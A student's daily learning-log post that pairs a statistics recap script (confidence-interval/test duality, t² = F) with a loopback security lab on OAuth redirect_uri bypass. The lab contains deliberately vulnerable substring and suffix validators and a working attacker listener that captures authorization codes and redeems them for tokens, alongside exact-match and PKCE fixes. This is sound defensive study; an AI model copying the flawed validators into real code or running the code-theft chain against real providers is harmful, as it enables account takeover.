Última actualización: 2026-12-02

DAY 021 OF 1600 · 2026-10-20

Day 021 — One sentence instead of twenty-one exercises, and a redirect that walks the code out the door

A student's private learning log · one concept at a time. Date: 2026-10-20 · Day: 21 of 1600 Log: a student's private learning log · one concept at a time. ---

Concept #21 — Recap week: the confidence interval is the set of nulls my test would not reject

Week 8 of MA02 is not a new topic. It is the recap : twenty-one exercises, all of them already solved, printed end to end, from the Bernoulli coffee question to the three-group ANOVA. I read all of it and then decided not to write any of it down. Copying twenty-one answer keys into a log is a transcription exercise, not a statistics one. So I went looking for the claim that survives compression — the thing that, if I still have it in two years and have forgotten every exercise, will let me rebuild the rest. I think it is this: > A 95% confidence interval and a two-sided test at α = 0.05 are the same > computation wearing different clothes. The interval is exactly the set of > values μ₀ that the test would not reject. It follows from one line of algebra. The test statistic is t(μ₀) = (x̄ − μ₀) / (s / √n) and the interval is x̄ ± t_crit · s/√n . The test rejects when `|t(μ₀)| > t_crit . Substitute and the inequality flips into |x̄ − μ₀| < t_crit · s/√n` — which is precisely "μ₀ is inside the interval". Not approximately. Identically. That matters because of how I had been treating the two things. On day 17 I wrote that "the 95% is the method, not the specific range", and on day 18 that "the p-value is an area, not a verdict". Both true, and both still sound like two separate facts about two separate objects. They are one object. The p-value says how surprising my sample is if μ₀ were the truth ; the interval says which truths would not have surprised me . Same sentence, read in the other direction. What I tried today: instead of the recap's exercises, one script that (A) re-runs two of the recap's own printed answers to see if the answer key is still honest, (B) takes a dataset I measured myself in this session and checks the duality point by point, and (C) confirms the other identity the course mentions in passing and never proves: t² = F . The dataset: summing 200,000 floats three ways — a hand-written for loop, sum() over a generator, and math.fsum() — fifteen repetitions each, timed with perf_counter . I picked it because I know a priori which way the truth lies (the generator allocates; fsum is C and exact), so if the test says "no difference" I will know the test lied, not the benchmark. #!/usr/bin/env python3 # recap.py - MA02 Week 8 (Recapitulation), as one executable idea. # # The recap lists 21 exercises. Copying them down teaches nothing. So today I # kept the arithmetic and threw away the list: what does the whole course # actually claim, in one sentence I can test? # # Claim: the 95% confidence interval is EXACTLY the set of null hypotheses the # t-test would not reject, and one-way ANOVA is the same sum-of-squares # machinery as the t-test with t^2 = F. # # Three checks, pure stdlib: # A) the recap's own printed answers still reproduce (Ex. I binomial, Ex. XXI ANOVA) # B) on real measurements taken in this session, the CI/test duality holds pointwise # C) t^2 = F between the two-group t-test and the one-way ANOVA import math, time, random # ---------------------------------------------------------------- distributions def _betacf(a, b, x, itmax=300, eps=3e-16): qab, qap, qam = a + b, a + 1.0, a - 1.0 c, d = 1.0, 1.0 - qab * x / qap d = 1.0 / (d if abs(d) > 1e-300 else 1e-300) h = d for m in range(1, itmax + 1): m2 = 2 * m aa = m * (b - m) * x / ((qam + m2) * (a + m2)) d = 1.0 + aa * d d = 1.0 / (d if abs(d) > 1e-300 else 1e-300) c = 1.0 + aa / c c = c if abs(c) > 1e-300 else 1e-300 h *= d * c aa = -(a + m) * (qab + m) * x / ((a + m2) * (qap + m2)) d = 1.0 + aa * d d = 1.0 / (d if abs(d) > 1e-300 else 1e-300) c = 1.0 + aa / c c = c if abs(c) > 1e-300 else 1e-300 delta = d * c h *= delta if abs(delta - 1.0) < eps: break return h def betainc(a, b, x): if x <= 0.0: return 0.0 if x >= 1.0: return 1.0 ln = (math.lgamma(a + b) - math.lgamma(a) - math.lgamma(b) + a * math.log(x) + b * math.log1p(-x)) front = math.exp(ln) if x < (a + 1.0) / (a + b + 2.0): return front * _betacf(a, b, x) / a return 1.0 - front * _betacf(b, a, 1.0 - x) / b def t_sf_two_sided(t, df): """P(|T| > |t|) for Student t.""" return betainc(df / 2.0, 0.5, df / (df + t * t)) def f_sf(f, d1, d2): if f <= 0: return 1.0 return betainc(d2 / 2.0, d1 / 2.0, d2 / (d2 + d1 * f)) def t_quantile(alpha, df): """Two-sided critical value: the t where P(|T|>t)=alpha, by bisection.""" lo, hi = 0.0, 100.0 for _ in range(200): mid = (lo + hi) / 2 if t_sf_two_sided(mid, df) > alpha: lo = mid else: hi = mid return (lo + hi) / 2 # ---------------------------------------------------------------- summaries def mean(xs): return sum(xs) / len(xs) def var(xs): m = mean(xs) return sum((x - m) ** 2 for x in xs) / (len(xs) - 1) def one_sample_t(xs, mu0): n, m, s = len(xs), mean(xs), math.sqrt(var(xs)) t = (m - mu0) / (s / math.sqrt(n)) return t, n - 1, t_sf_two_sided(t, n - 1) def ci_mean(xs, alpha=0.05): n, m, s = len(xs), mean(xs), math.sqrt(var(xs)) h = t_quantile(alpha, n - 1) * s / math.sqrt(n) return m - h, m + h def one_way(groups): k, N = len(groups), sum(len(g) for g in groups) grand = sum(sum(g) for g in groups) / N ssa = sum(len(g) * (mean(g) - grand) ** 2 for g in groups) sse = sum(sum((x - mean(g)) ** 2 for x in g) for g in groups) msa, mse = ssa / (k - 1), sse / (N - k) f = msa / mse return ssa, sse, k - 1, N - k, f, f_sf(f, k - 1, N - k) def welch(xs, ys): nx, ny, mx, my = len(xs), len(ys), mean(xs), mean(ys) vx, vy = var(xs), var(ys) se = math.sqrt(vx / nx + vy / ny) t = (mx - my) / se df = (vx / nx + vy / ny) ** 2 / ((vx / nx) ** 2 / (nx - 1) + (vy / ny) ** 2 / (ny - 1)) return t, df, t_sf_two_sided(t, df) # ---------------------------------------------------------------- A) recap table def check_recap_answers(): print("=== A) does the recap's own answer key reproduce? ===") # Exercise I: Y ~ Bin(5, 0.3), P(Y<=3) = 0.96922 printed p, n = 0.3, 5 pmf = [math.comb(n, k) * p ** k * (1 - p) ** (n - k) for k in range(n + 1)] print(f"Ex. I Bin(5,0.3) pmf = " + " ".join(f"{x:.4f}" for x in pmf)) print(f"Ex. I P(Y<=3) mine={sum(pmf[:4]):.5f} book=0.96922") # Exercise XXI: three study strategies, unequal n n_j = [20, 18, 16] means = [75.39, 72.25, 69.56] sse_book = 796.49 N = sum(n_j) grand = sum(nj * m for nj, m in zip(n_j, means)) / N ssa = sum(nj * (m - grand) ** 2 for nj, m in zip(n_j, means)) dfA, dfE = len(n_j) - 1, N - len(n_j) f = (ssa / dfA) / (sse_book / dfE) print(f"Ex. XXI grand mean = {grand:.3f} (book 72.62)") print(f"Ex. XXI SSA from book means = {ssa:.2f} (book 305.56)") print(f"Ex. XXI MSA/MSE = {ssa/dfA:.2f} / {sse_book/dfE:.2f}") print(f"Ex. XXI F = {f:.2f} (book 9.78) p={f_sf(f, dfA, dfE):.2e}") print() # ---------------------------------------------------------------- B) real data def measure(fn, reps): out = [] for _ in range(reps): t0 = time.perf_counter() fn() out.append((time.perf_counter() - t0) * 1000.0) # ms return out def bench(): data = [random.Random(1).random() for _ in range(200_000)] def loop_sum(): s = 0.0 for x in data: s += x return s def gen_sum(): return sum(x for x in data) def fsum(): return math.fsum(data) return {"hand loop": measure(loop_sum, 15), "builtin sum": measure(gen_sum, 15), "math.fsum": measure(fsum, 15)} # ---------------------------------------------------------------- main if __name__ == "__main__": check_recap_answers() g = bench() print("=== B) real measurements: 200k-float sum, 15 reps each (ms) ===") for name, xs in g.items(): print(f"{name:>12}: n={len(xs)} mean={mean(xs):.2f} sd={math.sqrt(var(xs)):.2f} " f"min={min(xs):.2f} max={max(xs):.2f}") groups = list(g.values()) ssa, sse, dfA, dfE, F, p = one_way(groups) print(f"ANOVA on the benchmark: F={F:.2f} df=({dfA},{dfE}) p={p:.2e} -> " f"{'reject H0' if p < 0.05 else 'no difference detected'}") print() xs = g["hand loop"] lo, hi = ci_mean(xs) print("=== duality: 95% CI of one group's mean vs the t-test that builds it ===") print(f"CI for mean(hand loop) = [{lo:.3f}, {hi:.3f}] ms (n={len(xs)})") lo_p, hi_p = min(lo, hi), max(lo, hi) step = (hi_p - lo_p) * 0.05 mu, mismatches, inside_ci_reported, rejected_n = lo_p - 3 * step, 0, 0, 0 while mu <= hi_p + 3 * step: t, df, pv = one_sample_t(xs, mu) in_ci = lo_p <= mu <= hi_p if in_ci: inside_ci_reported += 1 rejected = pv < 0.05 rejected_n += 1 if rejected else 0 if rejected == in_ci: # rejected should be the OUTSIDE of the CI mismatches += 1 if mismatches <= 3: print(f" mismatch at mu={mu:.3f}: p={pv:.4f} in_CI={in_ci}") mu += step print(f"scanned {inside_ci_reported + rejected_n} values of mu0: " f"{inside_ci_reported} inside the CI (not rejected), {rejected_n} outside (rejected)") print(f"disagreements between 'p>=0.05' and 'mu0 inside CI': {mismatches}") print() a, b = g["hand loop"], g["builtin sum"] t, df, pv = welch(a, b) # pooled two-sample t: same MSE the ANOVA uses na, nb = len(a), len(b) mse_pooled = ((na - 1) * var(a) + (nb - 1) * var(b)) / (na + nb - 2) t_pooled = (mean(a) - mean(b)) / math.sqrt(mse_pooled * (1 / na + 1 / nb)) p_pooled = t_sf_two_sided(t_pooled, na + nb - 2) print("=== C) t^2 = F for two groups ===") print(f"Welch t on hand loop vs builtin sum: t={t:.3f} df={df:.1f} p={pv:.2e}") print(f"pooled t on the same two groups: t={t_pooled:.4f} df={na+nb-2} p={p_pooled:.2e}") ssa2, sse2, d1, d2, F2, p2 = one_way([a, b]) print(f"ANOVA on the same two groups: F={F2:.4f} df=({d1},{d2}) p={p2:.2e}") print(f"t_pooled^2 = {t_pooled**2:.4f} F = {F2:.4f} difference = {abs(t_pooled**2-F2):.2e}") Real output: === A) does the recap's own answer key reproduce? === Ex. I Bin(5,0.3) pmf = 0.1681 0.3601 0.3087 0.1323 0.0283 0.0024 Ex. I P(Y<=3) mine=0.96922 book=0.96922 Ex. XXI grand mean = 72.616 (book 72.62) Ex. XXI SSA from book means = 305.74 (book 305.56) Ex. XXI MSA/MSE = 152.87 / 15.62 Ex. XXI F = 9.79 (book 9.78) p=2.52e-04 === B) real measurements: 200k-float sum, 15 reps each (ms) === hand loop: n=15 mean=4.17 sd=0.45 min=3.93 max=5.61 builtin sum: n=15 mean=6.19 sd=0.80 min=5.60 max=8.09 math.fsum: n=15 mean=3.15 sd=0.08 min=3.05 max=3.35 ANOVA on the benchmark: F=126.17 df=(2,42) p=1.75e-18 -> reject H0 === duality: 95% CI of one group's mean vs the t-test that builds it === CI for mean(hand loop) = [3.922, 4.417] ms (n=15) scanned 26 values of mu0: 20 inside the CI (not rejected), 6 outside (rejected) disagreements between 'p>=0.05' and 'mu0 inside CI': 0 === C) t^2 = F for two groups === Welch t on hand loop vs builtin sum: t=-8.507 df=21.9 p=2.19e-08 pooled t on the same two groups: t=-8.5074 df=28 p=3.00e-09 ANOVA on the same two groups: F=72.3750 df=(1,28) p=3.00e-09 t_pooled^2 = 72.3750 F = 72.3750 difference = 0.00e+00 What I understood from it: four things, and the last one cost me a wrong sentence in this post. The answer key holds. The binomial from Exercise I comes out at 0.96922 against the printed 0.96922. The ANOVA from Exercise XXI gives F = 9.79 against the printed 9.78, p = 2.52e-04. But the printed SSA = 305.56 does not reproduce from the printed means — feeding those means back in gives 305.74 , because the means were rounded to two decimals before the table was built. It is the same drift I found yesterday on the three-location exercise (1162.17 printed, 1161.37 from its own means). Twice now, in two different tables, in the same course. The lesson is not "the course is wrong" — the decision is identical either way — it is that a printed table is a summary of a computation, and the moment I stop reproducing computations I inherit rounding I cannot see. The duality is not a coincidence of my example. I scanned 26 values of μ₀ across the interval [3.922, 4.417] ms and a margin on each side: 20 of them landed inside the CI and were not rejected, 6 landed outside and were rejected, and the number of disagreements between "p ≥ 0.05" and "μ₀ inside the CI" was zero . There is no value of μ₀ where the two methods disagree, and there cannot be — that is the algebra above, and now I have watched it hold on data whose noise is real instead of textbook. t² = F is exact for the pooled two-sample t: −8.5074² = 72.3750 and the one-way ANOVA on the same two groups gives 72.3750, difference 0.00e+00. Here is the part I had wrong at first: I wrote the line as if it held for Welch's t too. It does not. Welch's t came out at −8.507 as well, but with 21.9 degrees of freedom instead of 28 — it matched to three decimals because the two groups happened to have similar spreads, not because the identity holds. The identity belongs to the pooled version, the one that uses the same MSE the ANOVA uses. That is the difference between a benchmark and a proof, and I had been about to publish the benchmark. And the benchmark itself: math.fsum at 3.15 ms, hand loop at 4.17 ms, sum(generator) at 6.19 ms, F = 126.17 with p = 1.75e-18. The test rejects, and it is right to — the generator allocates 200,000 intermediate objects, and that is not a subtle effect. What I take from that is not "fsum is faster". It is that the machinery I built on days 17–20, applied to data I did not choose to make the math come out, points at the same answer the profiler would. Twenty-one exercises compress into one sentence and one identity. That is the whole recap, and it is the first time in this course that I have felt the compression happen instead of just reading that it should. ---

Security #21 — OAuth redirect_uri: the validator and the browser read the same URL differently (CWE-601, then code theft)

Twenty classes in, and this is the first one where the attacker's entire payload is a valid-looking API parameter . No injection, no traversal, no malformed bytes. One query parameter, sent on purpose, exactly where the protocol expects it. The shape of an authorization-code flow: GET /authorize?client_id=web&redirect_uri=https://app.test/cb&state=s1 -> 302 Location: https://app.test/cb?code=AUTHCODE&state=s1 The user is already logged in. The server mints a code that is a bearer credential for that user's session, and hands it to whatever redirect_uri says. Which is why every provider registers the redirect URIs per client and compares them — and why the comparison is where this breaks. Both bugs below are the same mistake written twice: **the URL is compared as a string, but the browser reads it as a structure.** The validator and the browser are two parsers looking at the same bytes, and safety depends on them agreeing. # VULN 1: the registered URI is looked for ANYWHERE in the string. if REGISTERED in redirect_uri: allow() # attacker: https://attacker.test/r?next=https://app.test/cb -> passes # VULN 2: only the tail is compared. if redirect_uri.endswith("/cb"): allow() # attacker: https://attacker.test/anything/cb -> passes REGISTERED in uri is the one that gets written by people who are trying to be strict — they check the whole registered URL, not just the host. It is strict about a substring and blind about position, and position is everything: a URL that contains https://app.test/cb inside its own query string is a URL whose host is attacker.test . The consequence chain is short and it ends in a session: 1. attacker sends the victim a link to /authorize with its own redirect_uri 2. victim, already logged in, clicks -> the real AS mints a real code 3. the 302 lands on the attacker's listener instead of the app 4. attacker POSTs the code to /token -> access token for the victim's account One click, no password, no phishing page, and every check the server ran was a check that passed. What I understood about preventing it: the value is not validated, it is looked up . Registration means there is a set of exact strings, and the request either equals one of them or it does not. # FIXED: exact match against the set registered for this client. if redirect_uri not in clients[client_id].redirect_uris: # == on the full string return 400 code = mint_code(...) # bound to that exact URI Two details decide whether this holds in practice. First, equality has to be on the byte string with no normalization — no trailing-slash tolerance, no case folding, no "close enough". Every relaxation re-opens the gap between the two parsers. Second, the token endpoint has to re-check the same binding: a code minted for https://app.test/cb must not be redeemable with a different redirect_uri . My lab's /token did not re-check it at all, and that is a real second hole — the code in scenario 1 was redeemed with a redirect URI pointing at /x . And the second lock, which is the part I did not appreciate before today: PKCE. The client sends code_challenge = S256(verifier) at /authorize , and the verifier at /token . A stolen code is then a string with no key attached. What I tried today: the whole flow in one file, three servers on loopback, four scenarios, and nothing above the standard library — http.server for the three roles, secrets for the code and the token, hashlib for the PKCE hash. #!/usr/bin/env python3 # oauth_lab.py - redirect_uri validation bypass in an OAuth 2.0 authorization server. # CWE-601 (open redirect) chained into authorization-code theft. # # Everything runs on loopback, in /tmp, on ephemeral ports. Three servers: # AS : the authorization server (/authorize, /token) # CLIENT: the registered web app (/cb) -- "app.test" # EVIL : the attacker's listener -- "attacker.test" # # The only difference between the four scenarios is ONE line: how the AS # compares the inbound redirect_uri against the one registered for the client. import hashlib, base64, json, secrets, threading, urllib.error, urllib.parse, urllib.request from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer REGISTERED = "" # filled after the client port is known SUFFIX = "/cb" # what a sloppy endswith() would compare against CODES, TOKENS = {}, {} STOLEN = [] def s256(verifier): return base64.urlsafe_b64encode( hashlib.sha256(verifier.encode()).digest()).decode().rstrip("=") class Handler(BaseHTTPRequestHandler): def log_message(self, *a): pass def _json(self, code, obj): body = json.dumps(obj).encode() self.send_response(code) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) # ---------------------------------------------------------------- AS side def _valid(self, uri): mode = self.server.mode if mode == "substring": return REGISTERED in uri # registered URL appears ANYWHERE if mode == "endswith": return uri.endswith(SUFFIX) # only the tail is compared return uri == REGISTERED # exact string match def do_GET(self): u = urllib.parse.urlparse(self.path) q = urllib.parse.parse_qs(u.query) if self.server.role == "as" and u.path == "/authorize": uri = q.get("redirect_uri", [""])[0] if not self._valid(uri): return self._json(400, {"error": "invalid_request", "error_description": "redirect_uri not registered"}) code = secrets.token_urlsafe(12) CODES[code] = {"redirect_uri": uri, "challenge": q.get("code_challenge", [None])[0], "used": False} sep = "&" if "?" in uri else "?" loc = uri + sep + urllib.parse.urlencode( {"code": code, "state": q.get("state", [""])[0]}) self.send_response(302) self.send_header("Location", loc) self.end_headers() return if self.server.role == "evil": code = q.get("code", [""])[0] STOLEN.append(code) # the attacker immediately redeems the code it just received data = urllib.parse.urlencode({ "grant_type": "authorization_code", "code": code, "redirect_uri": f"http://127.0.0.1:{self.server.as_port}/x"}).encode() try: r = urllib.request.urlopen( f"http://127.0.0.1:{self.server.as_port}/token", data, timeout=5) out = json.loads(r.read()) except urllib.error.HTTPError as e: out = json.loads(e.read()) self.server.verdict = out return self._json(200, {"stolen_code": code, "redemption": out}) self._json(404, {"error": "not_found"}) # -------------------------------------------------------------- /token def do_POST(self): n = int(self.headers.get("Content-Length", 0)) form = urllib.parse.parse_qs(self.rfile.read(n).decode()) code = form.get("code", [""])[0] rec = CODES.get(code) if not rec or rec["used"]: return self._json(400, {"error": "invalid_grant", "detail": "unknown or reused code"}) if self.server.require_pkce: verifier = form.get("code_verifier", [""])[0] if not verifier or s256(verifier) != rec["challenge"]: return self._json(400, {"error": "invalid_grant", "detail": "PKCE verifier missing or wrong"}) rec["used"] = True tok = secrets.token_urlsafe(16) TOKENS[tok] = code self._json(200, {"access_token": tok, "token_type": "Bearer", "scope": "read"}) def serve(role, mode="exact", require_pkce=False): s = ThreadingHTTPServer(("127.0.0.1", 0), Handler) s.role, s.mode, s.require_pkce, s.verdict = role, mode, require_pkce, None threading.Thread(target=s.serve_forever, daemon=True).start() return s def run(label, mode, require_pkce=False): global REGISTERED client = serve("client") evil = serve("evil") asrv = serve("as", mode, require_pkce) client_port, evil_port, as_port = (client.server_port, evil.server_port, asrv.server_port) evil.as_port = as_port REGISTERED = f"http://127.0.0.1:{client_port}/cb" CODES.clear() CODES.clear() # what the attacker sends as redirect_uri, per check being abused if mode == "endswith": attack_uri = f"http://127.0.0.1:{evil_port}/anything{SUFFIX}" else: attack_uri = f"http://127.0.0.1:{evil_port}/r?next={REGISTERED}" verifier = secrets.token_urlsafe(32) params = {"client_id": "web", "response_type": "code", "state": "s1", "redirect_uri": attack_uri} if require_pkce: params["code_challenge"] = s256(verifier) params["code_challenge_method"] = "S256" url = f"http://127.0.0.1:{as_port}/authorize?" + urllib.parse.urlencode(params) print(f"--- {label} ---") print(f"registered redirect_uri : {REGISTERED}") print(f"attacker redirect_uri : {attack_uri}") try: r = urllib.request.urlopen(url, timeout=5) body = r.read() print(f"AS /authorize : 302 followed -> HTTP {r.status} from the listener") except urllib.error.HTTPError as e: print(f"AS /authorize : HTTP {e.code} {e.read().decode()}") print(f"result : no code minted, nothing to steal\n") for s in (client, evil, asrv): s.shutdown() return verdict = evil.verdict or {} print(f"code delivered to : 127.0.0.1:{evil_port} (attacker)") print(f"code (first 16 chars) : {(STOLEN[-1] if STOLEN else '')[:16]}...") if "access_token" in verdict: print(f"attacker redemption : 200 {json.dumps(verdict)}") print(f"result : TOKEN STOLEN with no user interaction\n") else: print(f"attacker redemption : 400 {json.dumps(verdict)}") print(f"result : code leaked but unusable\n") for s in (client, evil, asrv): s.shutdown() if __name__ == "__main__": run("VULN 1: validator checks 'registered in redirect_uri' (substring)", "substring") run("VULN 2: validator checks redirect_uri.endswith('/cb')", "endswith") run("VULN 1 again, but the client is forced onto PKCE (S256)", "substring", True) run("FIXED: exact string match against the registered URI", "exact") Sandbox check — four scenarios, all on loopback in /tmp , ephemeral ports, three tiny servers (authorization server, registered client, attacker listener). The only thing that changes between runs is the validator's one line: --- VULN 1: validator checks 'registered in redirect_uri' (substring) --- registered redirect_uri : http://127.0.0.1:40249/cb attacker redirect_uri : http://127.0.0.1:45699/r?next=http://127.0.0.1:40249/cb AS /authorize : 302 followed -> HTTP 200 from the listener code delivered to : 127.0.0.1:45699 (attacker) code (first 16 chars) : n8-3YesDrF5CdeTJ... attacker redemption : 200 {"access_token": "AkR3bwrLaLEF4YJ5aE5ZRA", "token_type": "Bearer", "scope": "read"} result : TOKEN STOLEN with no user interaction --- VULN 2: validator checks redirect_uri.endswith('/cb') --- registered redirect_uri : http://127.0.0.1:43973/cb attacker redirect_uri : http://127.0.0.1:36029/anything/cb AS /authorize : 302 followed -> HTTP 200 from the listener code delivered to : 127.0.0.1:36029 (attacker) code (first 16 chars) : pqied0tMGdrJxC2H... attacker redemption : 200 {"access_token": "O0nbs9wJlxsbPmBp0dQavw", "token_type": "Bearer", "scope": "read"} result : TOKEN STOLEN with no user interaction --- VULN 1 again, but the client is forced onto PKCE (S256) --- registered redirect_uri : http://127.0.0.1:35181/cb attacker redirect_uri : http://127.0.0.1:43777/r?next=http://127.0.0.1:35181/cb AS /authorize : 302 followed -> HTTP 200 from the listener code delivered to : 127.0.0.1:43777 (attacker) code (first 16 chars) : ApnHFIJlWlvTihGa... attacker redemption : 400 {"error": "invalid_grant", "detail": "PKCE verifier missing or wrong"} result : code leaked but unusable --- FIXED: exact string match against the registered URI --- registered redirect_uri : http://127.0.0.1:43835/cb attacker redirect_uri : http://127.0.0.1:36435/r?next=http://127.0.0.1:43835/cb AS /authorize : HTTP 400 {"error": "invalid_request", "error_description": "redirect_uri not registered"} result : no code minted, nothing to steal What I understood: the leaked artifact is not a password, and that is exactly why it is dangerous — it is a one-time, short-lived, correctly-issued credential that no alert will look at twice. The bug is not in the crypto, the state parameter, or the token format. It is in a comparison operator that answered a slightly different question than the one the browser answered. This is the third time in four days that the same root shows up wearing a new coat. Day 18 was two HTTP parsers disagreeing about where a body ends; day 19 was the hostname that gets checked not being the hostname that gets fetched ; day 20 was a header being treated as the app's own address. Today it is a URL compared as text by one component and as a tree by another. Whenever two components parse the same input, the attacker lives in the gap, and the fix is almost never a better filter — it is deleting the second interpretation. Honest limits: everything is on loopback and the "victim already logged in" part is a stub, not a session — I proved the validation logic and the redemption chain, not the behaviour of any real provider. I also followed the 302 with urllib , which behaves like a top-level navigation, but I did not drive a real browser, so browser-side quirks (fragment handling, Referer on the redirect, mixed-content blocking on http:// loopback) are untested here. Real deployments also carry the RFC 8252 loopback case for native apps, where the port is ephemeral by design and exact match has to be per-client rather than global — which is precisely the kind of exception that gets widened into the bug above. ---

Day 21 notes

Concept #21: MA02 closed with the recap compressed to one claim — the 95% CI is exactly the set of μ₀ the t-test would not reject. 26-point scan, 0 disagreements; pooled t² = F to 0.00e+00; book's printed SSA (305.56) does not reproduce from its own printed means (305.74), second rounding drift found in two days. ✔ Security #21: OAuth redirect_uri validated by substring or suffix match → authorization code delivered to the attacker's listener and redeemed for a token; exact-match registration blocks it, PKCE makes the stolen code unusable ( invalid_grant ). Loopback sandbox only. ✔ 1579 days left. One at a time.

Written by my own daily machine, checked by me.

← Back to the index

· Day 021 of 1600 · Matías Rathgeb


[ inicio ]   [ proyectos ]   [ posts ]   [ daylog ]


Página estática. Sin cookies, sin javascript, sin fuentes externas.
Contacto: ver inicio.